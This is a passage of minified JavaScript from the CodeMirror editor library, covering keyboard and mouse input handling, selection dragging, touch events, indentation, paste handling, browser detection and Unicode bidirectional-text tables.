b,c){var d=a;b.altKey&&"Alt"!=d&&(a="Alt-"+a);(Cf?b.metaKey:b.ctrlKey)&&"Ctrl"!=d&&(a="Ctrl-"+a);(Cf?b.ctrlKey:b.metaKey)&&"Cmd"!=d&&(a="Cmd-"+a);!c&&b.shiftKey&&"Shift"!=d&&(a="Shift-"+a);return a}function Df(a,b){if(ka&&34==a.keyCode&&a["char"])return!1;var c=Ea[a.keyCode];return null==c||a.altGraphKey?!1:Bf(c,a,b)}function Dc(a){return"string"==typeof a?Pb[a]:a}function nb(a,b){for(var c=a.doc.sel.ranges,d=[],e=0;e<c.length;e++){for(var f=b(c[e]);d.length&&0>=A(f.from,y(d).to);){var g=d.pop();
if(0>A(g.from,f.from)){f.from=g.from;break}}d.push(f)}aa(a,function(){for(var b=d.length-1;0<=b;b--)kb(a.doc,"",d[b].from,d[b].to,"+delete");eb(a)})}function Ef(a,b){var c=u(a.doc,b),d=na(c);d!=c&&(b=E(d));return $c(!0,a,d,b,1)}function Ff(a,b){var c=Ef(a,b.line),d=u(a.doc,c.line);a=za(d,a.doc.direction);return a&&0!=a[0].level?c:(d=Math.max(0,d.text.search(/\S/)),r(c.line,b.line==c.line&&b.ch<=d&&b.ch?0:d,c.sticky))}function Ec(a,b,c){if("string"==typeof b&&(b=Qb[b],!b))return!1;a.display.input.ensurePolled();
var d=a.display.shift,e=!1;try{a.isReadOnly()&&(a.state.suppressEdits=!0),c&&(a.display.shift=!1),e=b(a)!=Fc}finally{a.display.shift=d,a.state.suppressEdits=!1}return e}function Ng(a,b,c){for(var d=0;d<a.state.keyMaps.length;d++){var e=mb(b,a.state.keyMaps[d],c,a);if(e)return e}return a.options.extraKeys&&mb(b,a.options.extraKeys,c,a)||mb(b,a.options.keyMap,c,a)}function Rb(a,b,c,d){var e=a.state.keySeq;if(e){if(Af(b))return"handled";Og.set(50,function(){a.state.keySeq==e&&(a.state.keySeq=null,a.display.input.reset())});
b=e+" "+b}d=Ng(a,b,d);"multi"==d&&(a.state.keySeq=b);"handled"==d&&R(a,"keyHandled",a,b,c);if("handled"==d||"multi"==d)V(c),rd(a);return e&&!d&&/\'$/.test(b)?(V(c),!0):!!d}function Gf(a,b){var c=Df(b,!0);return c?b.shiftKey&&!a.state.keySeq?Rb(a,"Shift-"+c,b,function(b){return Ec(a,b,!0)})||Rb(a,c,b,function(b){if("string"==typeof b?/^go[A-Z]/.test(b):b.motion)return Ec(a,b)}):Rb(a,c,b,function(b){return Ec(a,b)}):!1}function Pg(a,b,c){return Rb(a,"'"+c+"'",b,function(b){return Ec(a,b,!0)})}function Hf(a){this.curOp.focus=
ra();if(!N(this,a)){D&&11>B&&27==a.keyCode&&(a.returnValue=!1);var b=a.keyCode;this.display.shift=16==b||a.shiftKey;var c=Gf(this,a);ka&&(Hd=c?b:null,!c&&88==b&&!Qg&&(ia?a.metaKey:a.ctrlKey)&&this.replaceSelection("",null,"cut"));18!=b||/\bCodeMirror-crosshair\b/.test(this.display.lineDiv.className)||Rg(this)}}function Rg(a){function b(a){18!=a.keyCode&&a.altKey||(Sa(c,"CodeMirror-crosshair"),ca(document,"keyup",b),ca(document,"mouseover",b))}var c=a.display.lineDiv;Fa(c,"CodeMirror-crosshair");v(document,
"keyup",b);v(document,"mouseover",b)}function If(a){16==a.keyCode&&(this.doc.sel.shift=!1);N(this,a)}function Jf(a){if(!(va(this.display,a)||N(this,a)||a.ctrlKey&&!a.altKey||ia&&a.metaKey)){var b=a.keyCode,c=a.charCode;if(ka&&b==Hd)Hd=null,V(a);else if(!ka||a.which&&!(10>a.which)||!Gf(this,a))if(b=String.fromCharCode(null==c?b:c),"\b"!=b&&!Pg(this,a,b))this.display.input.onKeyPress(a)}}function Sg(a,b){var c=+new Date;if(Sb&&Sb.compare(c,a,b))return Tb=Sb=null,"triple";if(Tb&&Tb.compare(c,a,b))return Sb=
new Id(c,a,b),Tb=null,"double";Tb=new Id(c,a,b);Sb=null;return"single"}function Kf(a){var b=this.display;if(!(N(this,a)||b.activeTouch&&b.input.supportsTouch()))if(b.input.ensurePolled(),b.shift=a.shiftKey,va(b,a))T||(b.scroller.draggable=!1,setTimeout(function(){return b.scroller.draggable=!0},100));else if(!Jd(this,a,"gutterClick",!0)){var c=Ra(this,a),d=ee(a),e=c?Sg(c,d):"single";window.focus();1==d&&this.state.selectingText&&this.state.selectingText(a);c&&Tg(this,d,c,e,a)||(1==d?c?Ug(this,c,e,
a):(a.target||a.srcElement)==b.scroller&&V(a):2==d?(c&&Ac(this.doc,c),setTimeout(function(){return b.input.focus()},20)):3==d&&(Kd?Lf(this,a):Ke(this)))}}function Tg(a,b,c,d,e){var f="Click";"double"==d?f="Double"+f:"triple"==d&&(f="Triple"+f);return Rb(a,Bf((1==b?"Left":2==b?"Middle":"Right")+f,e),e,function(b){"string"==typeof b&&(b=Qb[b]);if(!b)return!1;var d=!1;try{a.isReadOnly()&&(a.state.suppressEdits=!0),d=b(a,c)!=Fc}finally{a.state.suppressEdits=!1}return d})}function Ug(a,b,c,d){D?setTimeout(Kc(Je,
a),0):a.curOp.focus=ra();var e=a.getOption("configureMouse"),e=e?e(a,c,d):{};null==e.unit&&(e.unit=(Vg?d.shiftKey&&d.metaKey:d.altKey)?"rectangle":"single"==c?"char":"double"==c?"word":"line");if(null==e.extend||a.doc.extend)e.extend=a.doc.extend||d.shiftKey;null==e.addNew&&(e.addNew=ia?d.metaKey:d.ctrlKey);null==e.moveOnDrag&&(e.moveOnDrag=!(ia?d.altKey:d.ctrlKey));var f=a.doc.sel,g;a.options.dragDrop&&Wg&&!a.isReadOnly()&&"single"==c&&-1<(g=f.contains(b))&&(0>A((g=f.ranges[g]).from(),b)||0<b.xRel)&&
(0<A(g.to(),b)||0>b.xRel)?Xg(a,d,b,e):Yg(a,d,b,e)}function Xg(a,b,c,d){var e=a.display,f=!1,g=O(a,function(b){T&&(e.scroller.draggable=!1);a.state.draggingText=!1;ca(document,"mouseup",g);ca(document,"mousemove",h);ca(e.scroller,"dragstart",k);ca(e.scroller,"drop",g);f||(V(b),d.addNew||Ac(a.doc,c,null,null,d.extend),T||D&&9==B?setTimeout(function(){document.body.focus();e.input.focus()},20):e.input.focus())}),h=function(a){f=f||10<=Math.abs(b.clientX-a.clientX)+Math.abs(b.clientY-a.clientY)},k=function(){return f=
!0};T&&(e.scroller.draggable=!0);a.state.draggingText=g;g.copy=!d.moveOnDrag;e.scroller.dragDrop&&e.scroller.dragDrop();v(document,"mouseup",g);v(document,"mousemove",h);v(e.scroller,"dragstart",k);v(e.scroller,"drop",g);Ke(a);setTimeout(function(){return e.input.focus()},20)}function Mf(a,b,c){if("char"==c)return new C(b,b);if("word"==c)return a.findWordAt(b);if("line"==c)return new C(r(b.line,0),x(a.doc,r(b.line+1,0)));a=c(a,b);return new C(a.from,a.to)}function Yg(a,b,c,d){function e(b){if(0!=
A(q,b))if(q=b,"rectangle"==d.unit){for(var e=[],f=a.options.tabSize,g=fa(u(k,c.line).text,c.ch,f),h=fa(u(k,b.line).text,b.ch,f),m=Math.min(g,h),g=Math.max(g,h),h=Math.min(c.line,b.line),t=Math.min(a.lastLine(),Math.max(c.line,b.line));h<=t;h++){var I=u(k,h).text,v=Lc(I,m,f);m==g?e.push(new C(r(h,v),r(h,v))):I.length>v&&e.push(new C(r(h,v),r(h,Lc(I,g,f))))}e.length||e.push(new C(c,c));S(k,la(l.ranges.slice(0,p).concat(e),p),{origin:"*mouse",scroll:!1});a.scrollIntoView(b)}else e=n,m=Mf(a,b,d.unit),
b=e.anchor,0<A(m.anchor,b)?(f=m.head,b=ic(e.from(),m.anchor)):(f=m.anchor,b=hc(e.to(),m.head)),e=l.ranges.slice(0),e[p]=new C(x(k,b),f),S(k,la(e,p),Ld)}function f(b){var c=++w,g=Ra(a,b,!0,"rectangle"==d.unit);if(g)if(0!=A(g,q)){a.curOp.focus=ra();e(g);var l=td(h,k);(g.line>=l.to||g.line<l.from)&&setTimeout(O(a,function(){w==c&&f(b)}),150)}else{var m=b.clientY<t.top?-20:b.clientY>t.bottom?20:0;m&&setTimeout(O(a,function(){w==c&&(h.scroller.scrollTop+=m,f(b))}),50)}}function g(b){a.state.selectingText=
!1;w=Infinity;V(b);h.input.focus();ca(document,"mousemove",z);ca(document,"mouseup",y);k.history.lastSelOrigin=null}var h=a.display,k=a.doc;V(b);var l=k.sel,m=l.ranges;if(d.addNew&&!d.extend){var p=k.sel.contains(c);var n=-1<p?m[p]:new C(c,c)}else n=k.sel.primary(),p=k.sel.primIndex;"rectangle"==d.unit?(d.addNew||(n=new C(c,c)),c=Ra(a,b,!0,!0),p=-1):(b=Mf(a,c,d.unit),n=d.extend?Ed(n,b.anchor,b.head,d.extend):b);d.addNew?-1==p?(p=m.length,S(k,la(m.concat([n]),p),{scroll:!1,origin:"*mouse"})):1<m.length&&
m[p].empty()&&"char"==d.unit&&!d.extend?(S(k,la(m.slice(0,p).concat(m.slice(p+1)),0),{scroll:!1,origin:"*mouse"}),l=k.sel):Fd(k,p,n,Ld):(p=0,S(k,new ea([n],0),Ld),l=k.sel);var q=c,t=h.wrapper.getBoundingClientRect(),w=0,z=O(a,function(a){ee(a)?f(a):g(a)}),y=O(a,g);a.state.selectingText=y;v(document,"mousemove",z);v(document,"mouseup",y)}function Jd(a,b,c,d){try{var e=b.clientX;var f=b.clientY}catch(k){return!1}if(e>=Math.floor(a.display.gutters.getBoundingClientRect().right))return!1;d&&V(b);d=a.display;
var g=d.lineDiv.getBoundingClientRect();if(f>g.bottom||!ga(a,c))return ad(b);f-=g.top-d.viewOffset;for(g=0;g<a.options.gutters.length;++g){var h=d.gutters.childNodes[g];if(h&&h.getBoundingClientRect().right>=e)return e=Ia(a.doc,f),J(a,c,a,e,a.options.gutters[g],b),ad(b)}}function Lf(a,b){var c;(c=va(a.display,b))||(c=ga(a,"gutterContextMenu")?Jd(a,b,"gutterContextMenu",!1):!1);if(!c&&!N(a,b,"contextmenu"))a.display.input.onContextMenu(b)}function Nf(a){a.display.wrapper.className=a.display.wrapper.className.replace(/\s*cm-s-\S+/g,
"")+a.options.theme.replace(/(^|\s)\s*/g," cm-s-");Bb(a)}function Ub(a){Ve(a);Y(a);Me(a)}function Zg(a,b,c){!b!=!(c&&c!=ob)&&(c=a.display.dragFunctions,b=b?v:ca,b(a.display.scroller,"dragstart",c.start),b(a.display.scroller,"dragenter",c.enter),b(a.display.scroller,"dragover",c.over),b(a.display.scroller,"dragleave",c.leave),b(a.display.scroller,"drop",c.drop))}function $g(a){a.options.lineWrapping?(Fa(a.display.wrapper,"CodeMirror-wrap"),a.display.sizer.style.minWidth="",a.display.sizerWidth=null):
(Sa(a.display.wrapper,"CodeMirror-wrap"),Wc(a));qd(a);Y(a);Bb(a);setTimeout(function(){return fb(a)},100)}function G(a,b){var c=this;if(!(this instanceof G))return new G(a,b);this.options=b=b?Ga(b):{};Ga(Of,b,!1);zd(b);var d=b.value;"string"==typeof d&&(d=new Z(d,b.mode,null,b.lineSeparator,b.direction));this.doc=d;var e=new G.inputStyles[b.inputStyle](this);a=this.display=new dg(a,d,e);a.wrapper.CodeMirror=this;Ve(this);Nf(this);b.lineWrapping&&(this.display.wrapper.className+=" CodeMirror-wrap");
Re(this);this.state={keyMaps:[],overlays:[],modeGen:0,overwrite:!1,delayingBlurEvent:!1,focused:!1,suppressEdits:!1,pasteIncoming:!1,cutIncoming:!1,selectingText:!1,draggingText:!1,highlight:new Xa,keySeq:null,specialChars:null};b.autofocus&&!qb&&a.input.focus();D&&11>B&&setTimeout(function(){return c.display.input.reset(!0)},20);ah(this);Pf||(Jg(),Pf=!0);Ua(this);this.curOp.forceUpdate=!0;af(this,d);b.autofocus&&!qb||this.hasFocus()?setTimeout(Kc(sd,this),20):Db(this);for(var f in Gc)if(Gc.hasOwnProperty(f))Gc[f](c,
b[f],ob);Ne(this);b.finishInit&&b.finishInit(this);for(d=0;d<Md.length;++d)Md[d](c);Va(this);T&&b.lineWrapping&&"optimizelegibility"==getComputedStyle(a.lineDiv).textRendering&&(a.lineDiv.style.textRendering="auto")}function ah(a){function b(){d.activeTouch&&(e=setTimeout(function(){return d.activeTouch=null},1E3),f=d.activeTouch,f.end=+new Date)}function c(a,b){if(null==b.left)return!0;var d=b.left-a.left;a=b.top-a.top;return 400<d*d+a*a}var d=a.display;v(d.scroller,"mousedown",O(a,Kf));D&&11>B?
v(d.scroller,"dblclick",O(a,function(b){if(!N(a,b)){var d=Ra(a,b);!d||Jd(a,b,"gutterClick",!0)||va(a.display,b)||(V(b),b=a.findWordAt(d),Ac(a.doc,b.anchor,b.head))}})):v(d.scroller,"dblclick",function(b){return N(a,b)||V(b)});Kd||v(d.scroller,"contextmenu",function(b){return Lf(a,b)});var e,f={end:0};v(d.scroller,"touchstart",function(b){var c;if(c=!N(a,b))1!=b.touches.length?c=!1:(c=b.touches[0],c=1>=c.radiusX&&1>=c.radiusY),c=!c;c&&(d.input.ensurePolled(),clearTimeout(e),c=+new Date,d.activeTouch=
{start:c,moved:!1,prev:300>=c-f.end?f:null},1==b.touches.length&&(d.activeTouch.left=b.touches[0].pageX,d.activeTouch.top=b.touches[0].pageY))});v(d.scroller,"touchmove",function(){d.activeTouch&&(d.activeTouch.moved=!0)});v(d.scroller,"touchend",function(e){var f=d.activeTouch;if(f&&!va(d,e)&&null!=f.left&&!f.moved&&300>new Date-f.start){var g=a.coordsChar(d.activeTouch,"page"),f=!f.prev||c(f,f.prev)?new C(g,g):!f.prev.prev||c(f,f.prev.prev)?a.findWordAt(g):new C(r(g.line,0),x(a.doc,r(g.line+1,0)));
a.setSelection(f.anchor,f.head);a.focus();V(e)}b()});v(d.scroller,"touchcancel",b);v(d.scroller,"scroll",function(){d.scroller.clientHeight&&(Fb(a,d.scroller.scrollTop),Ta(a,d.scroller.scrollLeft,!0),J(a,"scroll",a))});v(d.scroller,"mousewheel",function(b){return Xe(a,b)});v(d.scroller,"DOMMouseScroll",function(b){return Xe(a,b)});v(d.wrapper,"scroll",function(){return d.wrapper.scrollTop=d.wrapper.scrollLeft=0});d.dragFunctions={enter:function(b){N(a,b)||ub(b)},over:function(b){if(!N(a,b)){var d=
Ra(a,b);if(d){var c=document.createDocumentFragment();Ie(a,d,c);a.display.dragCursor||(a.display.dragCursor=t("div",null,"CodeMirror-cursors CodeMirror-dragcursors"),a.display.lineSpace.insertBefore(a.display.dragCursor,a.display.cursorDiv));F(a.display.dragCursor,c)}ub(b)}},start:function(b){if(D&&(!a.state.draggingText||100>+new Date-yf))ub(b);else if(!N(a,b)&&!va(a.display,b)&&(b.dataTransfer.setData("Text",a.getSelection()),b.dataTransfer.effectAllowed="copyMove",b.dataTransfer.setDragImage&&
!Qf)){var d=t("img",null,null,"position: fixed; left: 0; top: 0;");d.src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==";ka&&(d.width=d.height=1,a.display.wrapper.appendChild(d),d._top=d.offsetTop);b.dataTransfer.setDragImage(d,0,0);ka&&d.parentNode.removeChild(d)}},drop:O(a,Ig),leave:function(b){N(a,b)||xf(a)}};var g=d.input.getField();v(g,"keyup",function(b){return If.call(a,b)});v(g,"keydown",O(a,Hf));v(g,"keypress",O(a,Jf));v(g,"focus",function(b){return sd(a,b)});
v(g,"blur",function(b){return Db(a,b)})}function Vb(a,b,c,d){var e=a.doc,f;null==c&&(c="add");"smart"==c&&(e.mode.indent?f=vb(a,b).state:c="prev");var g=a.options.tabSize,h=u(e,b),k=fa(h.text,null,g);h.stateAfter&&(h.stateAfter=null);var l=h.text.match(/^\s*/)[0];if(!d&&!/\S/.test(h.text)){var m=0;c="not"}else if("smart"==c&&(m=e.mode.indent(f,h.text.slice(l.length),h.text),m==Fc||150<m)){if(!d)return;c="prev"}"prev"==c?m=b>e.first?fa(u(e,b-1).text,null,g):0:"add"==c?m=k+a.options.indentUnit:"subtract"==
c?m=k-a.options.indentUnit:"number"==typeof c&&(m=k+c);m=Math.max(0,m);c="";d=0;if(a.options.indentWithTabs)for(a=Math.floor(m/g);a;--a)d+=g,c+="\t";d<m&&(c+=Mc(m-d));if(c!=l)return kb(e,c,r(b,0),r(b,l.length),"+input"),h.stateAfter=null,!0;for(g=0;g<e.sel.ranges.length;g++)if(h=e.sel.ranges[g],h.head.line==b&&h.head.ch<l.length){b=r(b,l.length);Fd(e,g,new C(b,b));break}}function Nd(a,b,c,d,e){var f=a.doc;a.display.shift=!1;d||(d=f.sel);var g=a.state.pasteIncoming||"paste"==e,h=Od(b),k=null;if(g&&
1<d.ranges.length)if(ba&&ba.text.join("\n")==b){if(0==d.ranges.length%ba.text.length)for(var k=[],l=0;l<ba.text.length;l++)k.push(f.splitLines(ba.text[l]))}else h.length==d.ranges.length&&a.options.pasteLinesPerSelection&&(k=ec(h,function(a){return[a]}));for(var m,l=d.ranges.length-1;0<=l;l--){m=d.ranges[l];var p=m.from(),n=m.to();m.empty()&&(c&&0<c?p=r(p.line,p.ch-c):a.state.overwrite&&!g?n=r(n.line,Math.min(u(f,n.line).text.length,n.ch+y(h).length)):ba&&ba.lineWise&&ba.text.join("\n")==b&&(p=n=
r(p.line,0)));m=a.curOp.updateInput;p={from:p,to:n,text:k?k[l%k.length]:h,origin:e||(g?"paste":a.state.cutIncoming?"cut":"+input")};jb(a.doc,p);R(a,"inputRead",a,p)}b&&!g&&Rf(a,b);eb(a);a.curOp.updateInput=m;a.curOp.typing=!0;a.state.pasteIncoming=a.state.cutIncoming=!1}function Sf(a,b){var c=a.clipboardData&&a.clipboardData.getData("Text");if(c)return a.preventDefault(),b.isReadOnly()||b.options.disableInput||aa(b,function(){return Nd(b,c,0,null,"paste")}),!0}function Rf(a,b){if(a.options.electricChars&&
a.options.smartIndent)for(var c=a.doc.sel,d=c.ranges.length-1;0<=d;d--){var e=c.ranges[d];if(!(100<e.head.ch||d&&c.ranges[d-1].head.line==e.head.line)){var f=a.getModeAt(e.head),g=!1;if(f.electricChars)for(var h=0;h<f.electricChars.length;h++){if(-1<b.indexOf(f.electricChars.charAt(h))){g=Vb(a,e.head.line,"smart");break}}else f.electricInput&&f.electricInput.test(u(a.doc,e.head.line).text.slice(0,e.head.ch))&&(g=Vb(a,e.head.line,"smart"));g&&R(a,"electricInput",a,e.head.line)}}}function Tf(a){for(var b=
[],c=[],d=0;d<a.doc.sel.ranges.length;d++){var e=a.doc.sel.ranges[d].head.line,e={anchor:r(e,0),head:r(e+1,0)};c.push(e);b.push(a.getRange(e.anchor,e.head))}return{text:b,ranges:c}}function Uf(a,b){a.setAttribute("autocorrect","off");a.setAttribute("autocapitalize","off");a.setAttribute("spellcheck",!!b)}function Vf(){var a=t("textarea",null,null,"position: absolute; bottom: -1em; padding: 0; width: 1px; height: 1em; outline: none"),b=t("div",[a],null,"overflow: hidden; position: relative; width: 3px; height: 0px;");
T?a.style.width="1000px":a.setAttribute("wrap","off");Wb&&(a.style.border="1px solid black");Uf(a);return b}function Pd(a,b,c,d,e){function f(d){var f=e?ae(a.cm,k,b,c):Zc(k,b,c);if(null==f){if(d=!d)d=b.line+c,d<a.first||d>=a.first+a.size?d=!1:(b=new r(d,b.ch,b.sticky),d=k=u(a,d));if(d)b=$c(e,a.cm,k,b.line,c);else return!1}else b=f;return!0}var g=b,h=c,k=u(a,b.line);if("char"==d)f();else if("column"==d)f(!0);else if("word"==d||"group"==d){var l=null;d="group"==d;for(var m=a.cm&&a.cm.getHelper(b,"wordChars"),
p=!0;!(0>c)||f(!p);p=!1){var n=k.text.charAt(b.ch)||"\n",n=fc(n,m)?"w":d&&"\n"==n?"n":!d||/\s/.test(n)?null:"p";!d||p||n||(n="s");if(l&&l!=n){0>c&&(c=1,f(),b.sticky="after");break}n&&(l=n);if(0<c&&!f(!p))break}}h=Gd(a,b,g,h,!0);Rc(g,h)&&(h.hitSide=!0);return h}function Wf(a,b,c,d){var e=a.doc,f=b.left;if("page"==d){var g=Math.max(Math.min(a.display.wrapper.clientHeight,window.innerHeight||document.documentElement.clientHeight)-.5*Pa(a.display),3);g=(0<c?b.bottom:b.top)+c*g}else"line"==d&&(g=0<c?b.bottom+
3:b.top-3);for(;;){b=od(a,f,g);if(!b.outside)break;if(0>c?0>=g:g>=e.height){b.hitSide=!0;break}g+=5*c}return b}function Xf(a,b){var c=ld(a,b.line);if(!c||c.hidden)return null;var d=u(a.doc,b.line),c=xe(c,d,b.line);a=za(d,a.doc.direction);d="left";a&&(d=Xc(a,b.ch)%2?"right":"left");b=ye(c.map,b.ch,d);b.offset="right"==b.collapse?b.end:b.start;return b}function bh(a){for(;a;a=a.parentNode)if(/CodeMirror-gutter-wrapper/.test(a.className))return!0;return!1}function pb(a,b){b&&(a.bad=!0);return a}function ch(a,
b,c,d,e){function f(a){return function(b){return b.id==a}}function g(a){a&&(l&&(k+=m,l=!1),k+=a)}function h(b){if(1==b.nodeType){var c=b.getAttribute("cm-text");if(null!=c)g(c||b.textContent.replace(/\u200b/g,""));else{var c=b.getAttribute("cm-marker"),q;if(c)b=a.findMarks(r(d,0),r(e+1,0),f(+c)),b.length&&(q=b[0].find())&&g(Ha(a.doc,q.from,q.to).join(m));else if("false"!=b.getAttribute("contenteditable")){(q=/^(pre|div|p)$/i.test(b.nodeName))&&l&&(k+=m,l=!1);for(c=0;c<b.childNodes.length;c++)h(b.childNodes[c]);
q&&(l=!0)}}}else 3==b.nodeType&&g(b.nodeValue)}for(var k="",l=!1,m=a.doc.lineSeparator();;){h(b);if(b==c)break;b=b.nextSibling}return k}function Hc(a,b,c){if(b==a.display.lineDiv){var d=a.display.lineDiv.childNodes[c];if(!d)return pb(a.clipPos(r(a.display.viewTo-1)),!0);b=null;c=0}else for(d=b;;d=d.parentNode){if(!d||d==a.display.lineDiv)return null;if(d.parentNode&&d.parentNode==a.display.lineDiv)break}for(var e=0;e<a.display.view.length;e++){var f=a.display.view[e];if(f.node==d)return dh(f,b,c)}}
function dh(a,b,c){function d(b,d,c){for(var e=-1;e<(l?l.length:0);e++)for(var f=0>e?k.map:l[e],g=0;g<f.length;g+=3){var h=f[g+2];if(h==b||h==d){d=E(0>e?a.line:a.rest[e]);e=f[g]+c;if(0>c||h!=b)e=f[g+(c?1:0)];return r(d,e)}}}var e=a.text.firstChild,f=!1;if(!b||!ha(e,b))return pb(r(E(a.line),0),!0);if(b==e&&(f=!0,b=e.childNodes[c],c=0,!b))return c=a.rest?y(a.rest):a.line,pb(r(E(c),c.text.length),f);var g=3==b.nodeType?b:null,h=b;g||1!=b.childNodes.length||3!=b.firstChild.nodeType||(g=b.firstChild,c&&
(c=g.nodeValue.length));for(;h.parentNode!=e;)h=h.parentNode;var k=a.measure,l=k.maps;if(b=d(g,h,c))return pb(b,f);e=h.nextSibling;for(g=g?g.nodeValue.length-c:0;e;e=e.nextSibling){if(b=d(e,e.firstChild,0))return pb(r(b.line,b.ch-g),f);g+=e.textContent.length}for(h=h.previousSibling;h;h=h.previousSibling){if(b=d(h,h.firstChild,-1))return pb(r(b.line,b.ch+c),f);c+=h.textContent.length}}var X=navigator.userAgent,Yf=navigator.platform,xa=/gecko\/\d/i.test(X),Zf=/MSIE \d/.test(X),$f=/Trident\/(?:[7-9]|\d{2,})\..*rv:(\d+)/.exec(X),
Xb=/Edge\/(\d+)/.exec(X),D=Zf||$f||Xb,B=D&&(Zf?document.documentMode||6:+(Xb||$f)[1]),T=!Xb&&/WebKit\//.test(X),eh=T&&/Qt\/\d+\.\d+/.test(X),pc=!Xb&&/Chrome\//.test(X),ka=/Opera\//.test(X),Qf=/Apple Computer/.test(navigator.vendor),fh=/Mac OS X 1\d\D([8-9]|\d\d)\D/.test(X),xg=/PhantomJS/.test(X),Wb=!Xb&&/AppleWebKit/.test(X)&&/Mobile\/\w+/.test(X),qc=/Android/.test(X),qb=Wb||qc||/webOS|BlackBerry|Opera Mini|Opera Mobi|IEMobile/i.test(X),ia=Wb||/Mac/.test(Yf),Vg=/\bCrOS\b/.test(X),gh=/win/i.test(Yf),
Ya=ka&&X.match(/Version\/(\d*\.\d*)/);Ya&&(Ya=Number(Ya[1]));Ya&&15<=Ya&&(ka=!1,T=!0);var Cf=ia&&(eh||ka&&(null==Ya||12.11>Ya)),Kd=xa||D&&9<=B,Sa=function(a,b){var c=a.className;if(b=w(b).exec(c)){var d=c.slice(b.index+b[0].length);a.className=c.slice(0,b.index)+(d?b[1]+d:"")}};var wb=document.createRange?function(a,b,c,d){var e=document.createRange();e.setEnd(d||a,c);e.setStart(a,b);return e}:function(a,b,c){var d=document.body.createTextRange();try{d.moveToElementText(a.parentNode)}catch(e){return d}d.collapse(!0);
d.moveEnd("character",c);d.moveStart("character",b);return d};var Yb=function(a){a.select()};Wb?Yb=function(a){a.selectionStart=0;a.selectionEnd=a.value.length}:D&&(Yb=function(a){try{a.select()}catch(b){}});var Xa=function(){this.id=null};Xa.prototype.set=function(a,b){clearTimeout(this.id);this.id=setTimeout(b,a)};var Fc={toString:function(){return"CodeMirror.Pass"}},qa={scroll:!1},Ld={origin:"*mouse"},Zb={origin:"+move"},dc=[""],bg=/[\u00df\u0587\u0590-\u05f4\u0600-\u06ff\u3040-\u309f\u30a0-\u30ff\u3400-\u4db5\u4e00-\u9fcc\uac00-\ud7af]/,
cg=/[\u0300-\u036f\u0483-\u0489\u0591-\u05bd\u05bf\u05c1\u05c2\u05c4\u05c5\u05c7\u0610-\u061a\u064b-\u065e\u0670\u06d6-\u06dc\u06de-\u06e4\u06e7\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0900-\u0902\u093c\u0941-\u0948\u094d\u0951-\u0955\u0962\u0963\u0981\u09bc\u09be\u09c1-\u09c4\u09cd\u09d7\u09e2\u09e3\u0a01\u0a02\u0a3c\u0a41\u0a42\u0a47\u0a48\u0a4b-\u0a4d\u0a51\u0a70\u0a71\u0a75\u0a81\u0a82\u0abc\u0ac1-\u0ac5\u0ac7\u0ac8\u0acd\u0ae2\u0ae3\u0b01\u0b3c\u0b3e\u0b3f\u0b41-\u0b44\u0b4d\u0b56\u0b57\u0b62\u0b63\u0b82\u0bbe\u0bc0\u0bcd\u0bd7\u0c3e-\u0c40\u0c46-\u0c48\u0c4a-\u0c4d\u0c55\u0c56\u0c62\u0c63\u0cbc\u0cbf\u0cc2\u0cc6\u0ccc\u0ccd\u0cd5\u0cd6\u0ce2\u0ce3\u0d3e\u0d41-\u0d44\u0d4d\u0d57\u0d62\u0d63\u0dca\u0dcf\u0dd2-\u0dd4\u0dd6\u0ddf\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb\u0ebc\u0ec8-\u0ecd\u0f18\u0f19\u0f35\u0f37\u0f39\u0f71-\u0f7e\u0f80-\u0f84\u0f86\u0f87\u0f90-\u0f97\u0f99-\u0fbc\u0fc6\u102d-\u1030\u1032-\u1037\u1039\u103a\u103d\u103e\u1058\u1059\u105e-\u1060\u1071-\u1074\u1082\u1085\u1086\u108d\u109d\u135f\u1712-\u1714\u1732-\u1734\u1752\u1753\u1772\u1773\u17b7-\u17bd\u17c6\u17c9-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193b\u1a17\u1a18\u1a56\u1a58-\u1a5e\u1a60\u1a62\u1a65-\u1a6c\u1a73-\u1a7c\u1a7f\u1b00-\u1b03\u1b34\u1b36-\u1b3a\u1b3c\u1b42\u1b6b-\u1b73\u1b80\u1b81\u1ba2-\u1ba5\u1ba8\u1ba9\u1c2c-\u1c33\u1c36\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce0\u1ce2-\u1ce8\u1ced\u1dc0-\u1de6\u1dfd-\u1dff\u200c\u200d\u20d0-\u20f0\u2cef-\u2cf1\u2de0-\u2dff\u302a-\u302f\u3099\u309a\ua66f-\ua672\ua67c\ua67d\ua6f0\ua6f1\ua802\ua806\ua80b\ua825\ua826\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua951\ua980-\ua982\ua9b3\ua9b6-\ua9b9\ua9bc\uaa29-\uaa2e\uaa31\uaa32\uaa35\uaa36\uaa43\uaa4c\uaab0\uaab2-\uaab4\uaab7\uaab8\uaabe\uaabf\uaac1\uabe5\uabe8\uabed\udc00-\udfff\ufb1e\ufe00-\ufe0f\ufe20-\ufe26\uff9e\uff9f]/,
pf=!1,ya=!1,tb=null,gg=function(){function a(a){return 247>=a?"bbbbbbbbbtstwsbbbbbbbbbbbbbbssstwNN%%%NNNNNN,N,N1111111111NNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNbbbbbbsbbbbbbbbbbbbbbbbbbbbbbbbbb,N%%%%NNNNLNNNNN%%11NLNNN1LNNNNNLLLLLLLLLLLLLLLLLLLLLLLNLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLN".charAt(a):1424<=a&&1524>=a?"R":1536<=a&&1785>=a?"nnnnnnNNr%%r,rNNmmmmmmmmmmmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmmmmmmmmnnnnnnnnnn%nnrrrmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmnNmmmmmmrrmmNmmmmrr1111111111".charAt(a-
